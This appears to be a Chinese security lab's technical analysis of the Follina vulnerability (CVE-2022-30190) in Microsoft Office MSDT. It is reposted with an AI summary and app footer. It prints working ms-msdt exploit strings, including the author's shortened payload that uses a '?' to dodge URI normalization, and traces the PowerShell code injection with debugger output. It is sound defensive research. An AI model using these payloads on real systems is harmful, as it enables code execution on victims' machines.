天玄安全实验室 02月08日
Microsoft Office MSDT远程代码执行漏洞(CVE-2022-30190)分析​
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入分析了CVE-2022-30190,即Microsoft Office MSDT远程代码执行漏洞。攻击者利用Office文件中的远程模板功能,加载远程恶意HTML文件,并通过'ms-msdt' URI执行恶意PowerShell代码。即使禁用宏,此漏洞依然可以被利用,且当恶意文件另存为RTF格式时,通过Windows资源管理器的预览窗格也能触发。文章详细阐述了样本执行流程,包括利用远程模板加载poc.html、poc.html通过'ms-msdt' URL执行msdt.exe,以及msdt.exe接收命令行参数后触发漏洞执行powershell命令的过程。此外,还分析了漏洞利用的细节,例如word如何解析URL以及msdt.exe的创建过程。

🌐 漏洞概述:CVE-2022-30190是一个Microsoft Office MSDT远程代码执行漏洞,攻击者通过Office文件中的远程模板功能,加载远程恶意HTML文件,并利用'ms-msdt' URI执行恶意PowerShell代码,即使在禁用宏的情况下,此漏洞仍然可以被利用。

⚙️ 样本执行流程:攻击者首先利用Office文件中的远程模板功能加载远程的poc.html,poc.html通过 'ms-msdt' URL 使得 Office 执行 msdt.exe,并将构造好的命令行参数传入 msdt.exe。msdt.exe 接收命令行参数后触发漏洞,最终执行 powershell 命令,例如IEX('calc.exe'),从而调用 calc.exe。

🛡️ 漏洞利用细节:Word在解析ms-msdt Office URL时,通过mshtml.dll的ShellExecURL函数解析,该函数内部会调用ShellExecuteW执行命令行参数创建msdt.exe。通过参数/id PCWDiagnostic运行 PCWDiagnostic 程序兼容性诊断包绕过了输入密钥的步骤,通过参数/skip force绕过了点击下一页的步骤。

原创 Joey 2022-06-09 12:06 北京

在分析漏洞的过程中,陆陆续续看到许多师傅的分析文章,于是参考之后结合自己的分析总结了一下。

在分析漏洞的过程中,陆陆续续看到许多师傅的分析文章,于是参考之后结合自己的分析总结了一下。

近日,微软官方网站发布了 Microsoft Office MSDT(Microsoft Support Diagnostic Tool)远程代码执行漏洞通告,漏洞编号 CVE-2022-30190,目前在开源代码平台已存在该漏洞的验证代码。该通告指出,Microsoft Office MSDT 存在远程代码执行漏洞,攻击者可利用 Office 文件中的远程模板功能,访问远程服务器上挂载的恶意 HTML 文件,之后通过 'ms-msdt' URI 来执行恶意 PowerShell 代码

值得注意的是该漏洞在宏被禁用的情况下仍可被利用。并且当恶意文件另存为 RTF 格式时,还可以通过 Windows 资源管理器中的预览窗格触发此漏洞的调用,无需执行也可以在目标机器上执行任意代码。该漏洞影响范围非常广泛,目前官方未发布修复补丁。

样本执行流程

1. 攻击者利用 Office 文件中的远程模板功能加载远程的 poc.html

在 document.xml.rels 文件中可以看到 docx 文件嵌入了一个 ole 对象,指向了 poc.html


2.poc.html 通过 'ms-msdt' URL 使得 Office 执行 msdt.exe,并将构造好的命令行参数传入 msdt.exe

查看 poc.html 的内容,可以看到页面访问了 URL:

ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"

上述注释是为了填充 HTML 页面使其大小大于 4kb,只有大于 4kb 的 HTML 页面 word 才会解析该页面进而触发漏洞,具体原因在Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit这篇文章中已经分析的很清楚了。

使用 urlprotocolview 查看ms-msdt URL 对应的二进制文件正是 msdt.exe

winword.exe 解析该 URL 后会调用 msdt.exe,并将命令行参数传入


3.msdt.exe 接收命令行参数后触发漏洞执行 powershell 命令:IEX('calc.exe'),调用了 calc.exe

因为直接打开 msdt.exe 需要输入技术支持人员密钥才能进行下一步诊断,通过参数/id PCWDiagnostic运行 PCWDiagnostic 程序兼容性诊断包绕过了该步骤

然而只是绕过输入密钥还不够,还需要点击下一页,才可以接收参数执行进程,通过参数/skip force绕过了该步骤,此时 msdt 会创建并启动服务,通过 svchost.exe 创建进程 sdiagnhost.exe

接着再输入参数:

/param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

就能通过 sdiagnhost.exe 执行 powershell 命令,整个漏洞利用完成。

整个漏洞利用链如图所示:

漏洞利用细节

word 解析 URL

word 在解析 ms-msdt Office URL 时是通过 mshtml.dll 的 ShellExecURL 函数解析的,而该函数内部会调用 ShellExecuteW 执行命令行参数创建 msdt.exe

0:000> rrax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000rdx=0000000000000000 rsi=0000000080004005 rdi=00000267dfbe07f0rip=00007ffa2fe2fe45 rsp=000000f644b0d410 rbp=000000f644b0d510 r8=00000267dfb84838  r9=0000000000000000 r10=0000000000000000r11=0000000000000246 r12=00007ffa3086e358 r13=0000000000000000r14=0000000000000000 r15=0000000000000020iopl=0         nv up ei pl zr na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246mshtml!ShellExecURL+0x24d:00007ffa`2fe2fe45 48ff1554b8c600  call    qword ptr [mshtml!_imp_ShellExecuteW (00007ffa`30a9b6a0)] ds:00007ffa`30a9b6a0={mshtml!_imp_load_ShellExecuteW (00007ffa`2f8edaaa)}0:000> du r8  //ShellExecuteW的执行参数
00000267`dfb84838  "ms-msdt:/id PCWDiagnostic /skip "
00000267`dfb84878  "force /param "IT_RebrowseForFile"
00000267`dfb848b8  "
=cal?c IT_SelectProgram=NotListe"
00000267`dfb848f8  "
d IT_BrowseForFile=h$(IEX('calc."
00000267`dfb84938  "exe'
))i/../../../../../../../../"
00000267`dfb84978  "
../../../../../../Windows/System"
00000267`dfb849b8  "
32/mpsigstub.exe ""0:000> k   //函数调用栈
 # Child-SP          RetAddr           Call Site00 00000092`064fccc8 00007ffa`707502de SHELL32!ShellExecuteNormal01 00000092`064fccd0 00007ffa`707d8f11 SHELL32!ShellExecuteExW+0xde02 00000092`064fce70 00007ffa`2fe2fe4c SHELL32!ShellExecuteW+0x8103 00000092`064fcf30 00007ffa`2fe2ee3a mshtml!ShellExecURL+0x25404 00000092`064fd1f0 00007ffa`2fb4e721 mshtml!OpenInNewWindow+0x38e05 00000092`064fd3e0 00007ffa`2f6206cf mshtml!CDoc::DoNavigate_NavigateInNewBrowser+0x20106 00000092`064fd470 00007ffa`2f619f00 mshtml!CDoc::DoNavigate+0xbaf07 00000092`064fd7c0 00007ffa`2f751420 mshtml!CDoc::FollowHyperlink2+0xc7008 00000092`064fd9c0 00007ffa`2f75072b mshtml!CWindow::FollowHyperlinkHelper+0x2a409 00000092`064fdb40 00007ffa`2f74a704 mshtml!CWindow::NavigateEx+0xeb0a 00000092`064fdcb0 000001c0`4fad4802 mshtml!COmLocationProxy::InvokeEx+0x4f40b 00000092`064fddc0 000001c0`4fad468e jscript9!HostDispatch::CallInvokeExInternal+0xf20c 00000092`064fde60 000001c0`4fad4540 jscript9!HostDispatch::CallInvokeHandler+0x960d 00000092`064fdee0 000001c0`4fb8afb6 jscript9!HostDispatch::CallInvokeEx+0x900e 00000092`064fdf70 000001c0`4fb8aed3 jscript9!HostDispatch::PutValueByDispId+0xd60f 00000092`064fe030 000001c0`4fa50ce1 jscript9!HostDispatch::PutValue+0x3710 00000092`064fe070 000001c0`4fa54a1e jscript9!Js::JavascriptOperators::OP_SetProperty+0x1d111 00000092`064fe100 000001c0`4fa43f43 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x7e12 00000092`064fe180 000001c0`4fa47a2d jscript9!Js::InterpreterStackFrame::DoProfiledSetProperty<Js::OpLayoutElementCP_OneByte const >+0x18313 00000092`064fe240 000001c0`4fa45029 jscript9!Js::InterpreterStackFrame::Process+0x6cd14 00000092`064fe2c0 000001c0`4ff00fc3 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x4c915 00000092`064fe4d0 000001c0`4fb0afb6 0x000001c0`4ff00fc316 00000092`064fe500 000001c0`4f9eb3d1 jscript9!amd64_CallFunction+0x8617 00000092`064fe550 000001c0`4fa9abc9 jscript9!Js::JavascriptFunction::CallFunction<1>+0x7118 00000092`064fe5c0 000001c0`4fa9aab0 jscript9!Js::JavascriptFunction::CallRootFunctionInternal+0xfd19 00000092`064fe690 000001c0`4fa9aa0b jscript9!Js::JavascriptFunction::CallRootFunction+0x641a 00000092`064fe700 000001c0`4fa9a929 jscript9!ScriptSite::CallRootFunction+0x671b 00000092`064fe760 000001c0`4fa9ae80 jscript9!ScriptSite::Execute+0x1091c 00000092`064fe7f0 000001c0`4fa20430 jscript9!ScriptEngine::ExecutePendingScripts+0x2341d 00000092`064fe8e0 000001c0`4faf6924 jscript9!ScriptEngine::ParseScriptTextCore+0x49c1e 00000092`064fea40 00007ffa`2f81e0c8 jscript9!ScriptEngine::ParseScriptText+0xc41f 00000092`064feaf0 00007ffa`2f5a25aa mshtml!CActiveScriptHolder::ParseScriptText+0xb820 00000092`064feb70 00007ffa`2f5a0f92 mshtml!CScriptCollection::ParseScriptText+0x25a21 00000092`064fec50 00007ffa`2f5a09b6 mshtml!CScriptData::CommitCode+0x42222 00000092`064fee20 00007ffa`2f5a072f mshtml!CScriptData::Execute+0x26623 00000092`064feed0 00007ffa`2f63fa05 mshtml!CHtmScriptParseCtx::Execute+0xbf24 00000092`064fef00 00007ffa`2f540767 mshtml!CHtmParseBase::Execute+0x9525 00000092`064fef90 00007ffa`2f53ffaa mshtml!CHtmPost::Broadcast+0x4726 00000092`064fefd0 00007ffa`2f80db06 mshtml!CHtmPost::Exec+0x29a27 00000092`064ff1d0 00007ffa`2f80d9db mshtml!CHtmPost::Run+0x3228 00000092`064ff200 00007ffa`2f80d96f mshtml!PostManExecute+0x6329 00000092`064ff240 00007ffa`2f80d4d0 mshtml!PostManResume+0xab2a 00000092`064ff280 00007ffa`2f875eec mshtml!CHtmPost::OnDwnChanCallback+0x402b 00000092`064ff2d0 00007ffa`2f53b0c1 mshtml!CDwnChan::OnMethodCall+0x1c2c 00000092`064ff300 00007ffa`2f5dca04 mshtml!GlobalWndOnMethodCall+0x2b12d 00000092`064ff3b0 00007ffa`2f9854b8 mshtml!GlobalWndProc_SEH+0x1042e 00000092`064ff440 00007ffa`6fd1e858 mshtml!GlobalWndProc+0x3a8c082f 00000092`064ff480 00007ffa`6fd1e299 USER32!UserCallWinProcCheckWow+0x2f830 00000092`064ff610 00007ffa`3e081af9 USER32!DispatchMessageWorker+0x24931 00000092`064ff690 00007ffa`3dfe2009 wwlib!PTLS7::LsNotReached+0x7bd4932 00000092`064ff730 00007ff6`79e71230 wwlib!FMain+0x6133 00000092`064ff760 00007ff6`79e71519 winword+0x123034 00000092`064ff790 00007ffa`71177034 winword+0x151935 00000092`064ff7d0 00007ffa`71362651 KERNEL32!BaseThreadInitThunk+0x1436 00000092`064ff800 00000000`00000000 ntdll!RtlUserThreadStart+0x21

ShellExecuteW 内部则是通过 CreateRemoteThreadEx 创建新线程,通过新线程创建 msdt.exe:

0:027> rrax=0000000002000000 rbx=0000000000000000 rcx=000000e48ad4d438rdx=000000e48ad4d4a0 rsi=0000021054c22ee0 rdi=0000000000000000rip=00007ffada60e620 rsp=000000e48ad4d358 rbp=000000e48ad4eb00 r8=0000000002000000  r9=0000000002000000 r10=0000000000000000r11=000000e48ad4d300 r12=0000000000000001 r13=0000000000000002r14=0000000000000008 r15=0000000000000000iopl=0         nv up ei pl zr na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246ntdll!NtCreateUserProcess:00007ffa`da60e620 4c8bd1          mov     r10,rcx0:027> dps poi(esp+98) La8/8   //AttributeList000000e4`8ad4df00  00000000`000000a8000000e4`8ad4df08  00000000`00020005 //PS_ATTRIBUTE_IMAGE_NAME000000e4`8ad4df10  00000000`00000040 //NtImagePath.Length000000e4`8ad4df18  00000210`54bae7b0 //NtImagePath.Buffer000000e4`8ad4df20  00000000`00000000000000e4`8ad4df28  00000000`00010003000000e4`8ad4df30  00000000`00000010000000e4`8ad4df38  000000e4`8ad4d7c0000000e4`8ad4df40  00000000`00000000000000e4`8ad4df48  00000000`00000006000000e4`8ad4df50  00000000`00000040000000e4`8ad4df58  000000e4`8ad4d900000000e4`8ad4df60  00000000`00000000000000e4`8ad4df68  00000000`00020009000000e4`8ad4df70  00000000`00000004000000e4`8ad4df78  000000e4`8ad4d6f0000000e4`8ad4df80  00000000`00000000000000e4`8ad4df88  00000000`0006001a000000e4`8ad4df90  00000000`00000001000000e4`8ad4df98  00000000`00000001000000e4`8ad4dfa0  00000000`000000000:027> du 00000210`54bae7b0    //创建的进程名
00000210`54bae7b0  "\??\C:\Windows\system32\msdt.exe"
00000210`54bae7f0  ""0:027> k        //创建msdt.exe的线程调用栈
 # Child-SP          RetAddr           Call Site00 000000e4`8ad4d358 00007ffa`d8128e73 ntdll!NtCreateUserProcess01 000000e4`8ad4d360 00007ffa`d81271a6 KERNELBASE!CreateProcessInternalW+0xfe302 000000e4`8ad4e930 00007ffa`d89dcbb4 KERNELBASE!CreateProcessW+0x6603 000000e4`8ad4e9a0 00007ffa`d5f1152d KERNEL32!CreateProcessWStub+0x5404 000000e4`8ad4ea00 00007ffa`d5ea6722 windows_storage!CInvokeCreateProcessVerb::CallCreateProcess+0x2cd05 000000e4`8ad4ecb0 00007ffa`d5f0a75c windows_storage!CInvokeCreateProcessVerb::_PrepareAndCallCreateProcess+0x2d606 000000e4`8ad4ed30 00007ffa`d5f0a583 windows_storage!CInvokeCreateProcessVerb::_TryCreateProcess+0x3c07 000000e4`8ad4ed60 00007ffa`d5f0a46d windows_storage!CInvokeCreateProcessVerb::Launch+0xef08 000000e4`8ad4ee00 00007ffa`d5f49dc4 windows_storage!CInvokeCreateProcessVerb::Execute+0x5d09 000000e4`8ad4ee40 00007ffa`d5e31d87 windows_storage!CBindAndInvokeStaticVerb::InitAndCallExecute+0x2140a 000000e4`8ad4eec0 00007ffa`d5ea5787 windows_storage!CBindAndInvokeStaticVerb::TryCreateProcessDdeHandler+0x630b 000000e4`8ad4ef40 00007ffa`d5ef586d windows_storage!CBindAndInvokeStaticVerb::Execute+0x1e70c 000000e4`8ad4f260 00007ffa`d5ef5785 windows_storage!RegDataDrivenCommand::_TryInvokeAssociation+0xad0d 000000e4`8ad4f2c0 00007ffa`d9b92b22 windows_storage!RegDataDrivenCommand::_Invoke+0x1410e 000000e4`8ad4f330 00007ffa`d9b929da SHELL32!CRegistryVerbsContextMenu::_Execute+0xce0f 000000e4`8ad4f3a0 00007ffa`d9b9630c SHELL32!CRegistryVerbsContextMenu::InvokeCommand+0xaa10 000000e4`8ad4f6a0 00007ffa`d9b9618d SHELL32!HDXA_LetHandlerProcessCommandEx+0x10c11 000000e4`8ad4f7b0 00007ffa`d9b926ab SHELL32!CDefFolderMenu::InvokeCommand+0x13d12 000000e4`8ad4fb10 00007ffa`d9b92583 SHELL32!CShellExecute::_InvokeInProcExec+0xfb13 000000e4`8ad4fc10 00007ffa`d9bcd671 SHELL32!CShellExecute::_InvokeCtxMenu+0x5b14 000000e4`8ad4fc50 00007ffa`d9bac32d SHELL32!CShellExecute::_DoExecute+0x15115 000000e4`8ad4fcc0 00007ffa`da48c3f9 SHELL32!<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl>+0x2d16 000000e4`8ad4fd30 00007ffa`d89d7034 SHCORE!_WrapperThreadProc+0xe917 000000e4`8ad4fe10 00007ffa`da5c2651 KERNEL32!BaseThreadInitThunk+0x1418 000000e4`8ad4fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21

分析 word 解析 URL 是因为在尝试缩减 payload 的过程中发现了缩减后的 payload 能在 cmd 上成功执行命令,但是内嵌到 docx 文档中则无法执行,于是探索了一番。

一些尝试

原本的 payload 可以直接在 cmd 上运行,其中有些参数是不必要的,最终缩减的 payload 为msdt /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe",将 payload 替换到 poc.html 中window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../../$(calc).exe \" ";。然而该 payload 却无法在 word 中执行成功,procmon 抓到的参数是不完整的:

重新调试 word,断在 ShellExecURL,发现到该函数时命令行的参数已经变成ms-msdt:/id PCWDiagnostic /$(calc).exe

0:000> rrax=0000000000000000 rbx=0000000000000000 rcx=000002c0dc60fc00rdx=000002c0cdec0000 rsi=000002c8e5144200 rdi=000002c8e5190400rip=00007ffa9737fbf8 rsp=000000fbbf39d748 rbp=000000fbbf39d850 r8=000002c0cde50d20  r9=0000000000000001 r10=0000000000008000r11=000000fbbf39d5a0 r12=00007ffa97dbe358 r13=0000000000000000r14=0000000000000000 r15=000002c0df5435d0iopl=0         nv up ei pl zr na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246mshtml!ShellExecURL:00007ffa`9737fbf8 488bc4          mov     rax,rsp0:000> du 000002c0df5438a0
000002c0`df5438a0  "/id PCWDiagnostic /$(calc).exe""

向前回溯在执行函数iertutil!CreateUri后,传入的参数被截断:

0:000> rrax=00000000000000dc rbx=000000000000006e rcx=000000b3c48fbe10rdx=0000000003002b85 rsi=000001f1917fe9a8 rdi=0000000000000000rip=00007ffa96d34a77 rsp=000000b3c48fbdb0 rbp=000000b3c48fbeb0 r8=0000000000000000  r9=000000b3c48fbde8 r10=0000000000000000r11=000000000000006e r12=000000b3c48fdeb0 r13=0000000000000000r14=000000b3c48fdec8 r15=000000000000006eiopl=0         nv up ei pl zr na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246mshtml!GetFullyExpandedUri+0x12b:00007ffa`96d34a77 48ff1572c7f600  call    qword ptr [mshtml!_imp_CreateUri (00007ffa`97ca11f0)] ds:00007ffa`97ca11f0={iertutil!CreateUri (00007ffa`ce4ffa10)}0:000> du rcx           //传入的参数
000000b3`c48fbe10  "ms-msdt:/id PCWDiagnostic /skip "
000000b3`c48fbe50  "force /param "IT_LaunchMethod=Co"
000000b3`c48fbe90  "
ntextMenu IT_BrowseForFile=/../."
000000b3`c48fbed0  "
./$(calc).exe""0:000> dps r9 L1          //传出的IUri结构指针000000b3`c48fbde8  00000000`000000000:000> pmshtml!GetFullyExpandedUri+0x132:00007ffa`96d34a7e 0f1f440000      nop     dword ptr [rax+rax]0:000> du poi(poi(000000b3`c48fbde8)+68)    //执行完函数后返回的IUri结构所指的URI字符串
000001f1`8a2bc560  "/id PCWDiagnostic /$(calc).exe""

此时查看 MSDN 对于CreateUri函数的说明,发现对于传入的 URI 会进行规范化,会删除相对路径段"./"和"../",并酌情缩短路径,因此原本的参数会被截断。

但是原 payload 中的"./"和"../"被保留下来了,分析后得知在如果参数中有"?"符号,则后面的内容不会被截断,于是重新编写 payloadwindow.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_ReBrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe\"";能成功执行:

Windows Troubleshooting Platform(WTP)简介

WTP 架构

WTP由一个 Windows 故障排除运行引擎、结果报告和调试报告、四个故障排除 cmdlet 和一个托管的 Windows PowerShell 运行环境组成,不同的 Windows 故障排除包会调用不同 PowerShell Script,并输出对应的结果报告和调试报告。下图显示了 WTP 架构:

Windwos 故障排除包既可以通过 WTP 向导 (MSDT.exe) 运行(本次漏洞就是通过这种方式),又可以在 Windows PowerShell 窗口中运行,通过 Windows PowerShell 窗口运行故障排除包时 msdt.exe 不会启动:

故障排除包(Troubleshooting Pack)的组件

下图显示了故障排除包中包含的组件:

故障排除包的设计基于三个步骤或阶段:检测问题(troubleshooting)、解决问题(resolution)和验证解决方案(verification)。每个阶段都表示为一组 Windows PowerShell 脚本,对应脚本的开头分别为TSRSVF。本次漏洞中使用的 PCWDiagnostic 程序兼容性诊断包就正好有三个对应阶段的不同脚本:

当用户调用 PCWDiagnostic 程序兼容性诊断包时,WTP 会实例化一个 Windows PowerShell 运行空间来运行脚本,由于对于参数没有正确的过滤导致在执行脚本时会将参数中的"$"解析,导致了代码注入。

调试 sdiagnhost.exe

使用 dnSpy 调试 sdiagnhost.exe,可以利用 windbg 的工具 gflags.exe 设置 sdiagnhost.exe 的 debuger 为 dnSpy.exe:

执行在命令行执行 payload 后,sdiagnhost.exe 创建后会被 dnSpy 调试,此时下断在Microsoft.Windows.Diagnosis.ManagedHost.RunScript()方法,随后启动调试会断在 RunScript 方法内:

可以看到待执行的 PowerShell 指令 text 中的内容就是 scriptPath,随后到达第二个断点。此时 text 的内容依然是 scriptPath,将要执行脚本TS_ProgramCompatibilityWizard.ps1

查看TS_ProgramCompatibilityWizard.ps1的内容,首先获取 msdt 参数中 IT_BrowseForFile 部分的内容并调用Test-Selection方法检查参数是否符合要求:

Test-Selection首先检查了 IT_BrowseForFile 传入的路径是否存在,接着检查路径后缀名是否为.exe 或.msi,符合这两个条件表示路径合法

尽管/../../已经超出了 C:/的根路径,但是test-path方法返回的结果仍然为 True,因此路径被判定合法:

随后通过$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "`$")来过滤传入的路径,测试了 appname 的过滤效果,发现执行了过滤语句后$(calc)仍然存在

最终调用 Update-DiagRootCause 方法,且传入 TARGETPATH 和 APPNAME:

在 dnSpy 下断于Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootCause.ProcessRecord()方法,点击运行后成功断下:

继续向下调试,调用了scriptedDiagnosticInteraction.RecordRootcause,且将 APPNAME 和 TARGETPATH 作为参数传入:

继续运行,发现停在了RunScript方法,且参数正是 APPNAME 和 TARGETPATH,说明通过调用scriptedDiagnosticInteraction.RecordRootcause方法执行了脚本RS_ProgramCompatibilityWizard.ps1,并且将参数 APPNAME 和 TARGETPATH 传入到脚本中:

脚本接收两个参数,并赋给变量$targetPath和$appName,检查$targetPath 是否为可执行文件:

随后分别将$targetPath和$appName当作命令行参数赋给$getDiagCmd,此时命令行中会有注入的代码$(calc)

最终执行命令行,触发代码注入:

由于在命令行中既有$targetPath,又有$appName,猜想在执行命令时应该会执行两次 calc:

查看 procmon 的日志,确实发现 sdiagnhost.exe 创建了 calc.exe 两次,验证了猜想:

样本利用 Office 远程模板访问远程 html,并利用mshtml!ShellExecURL函数解析了 URI,调用了 msdt.exe。msdt 调用 PCWDiagnostic 程序兼容性诊断包,构造了特殊的 IT_BrowseForFile 参数绕过了TS_ProgramCompatibilityWizard.ps1对于路径是否存在和后缀是否为可执行的校验,将路径作为参数传入并执行了脚本RS_ProgramCompatibilityWizard.ps1,该脚本检测路径后缀为.exe 后便直接调用Invoke-Expression执行了命令行,由于命令行中嵌入了表达式$(calc),造成了代码注入触发漏洞。

漏洞本身并不复杂,利用也很简单,但是嵌入 rtf 格式文件配合预览窗格能构成一个 Zero-click 漏洞,产生的危害还是很大的。分析漏洞的过程中也学习了很多 dotnet 程序的调试技巧和 PowerShell 命令行的执行流程,感谢各位师傅精彩的分析文章。

[1] CVE-2022-30190 MSDT 代码注入漏洞分析:https://paper.seebug.org/1913/

[2] Follina Microsoft Office RCE with MS-MSDT Protocol:https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/

[3] Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit:https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/

[4] Windows Troubleshooting Platform:https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal

[5] CreateUri function:https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)


Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

CVE-2022-30190 MSDT 远程代码执行 Office漏洞
相关文章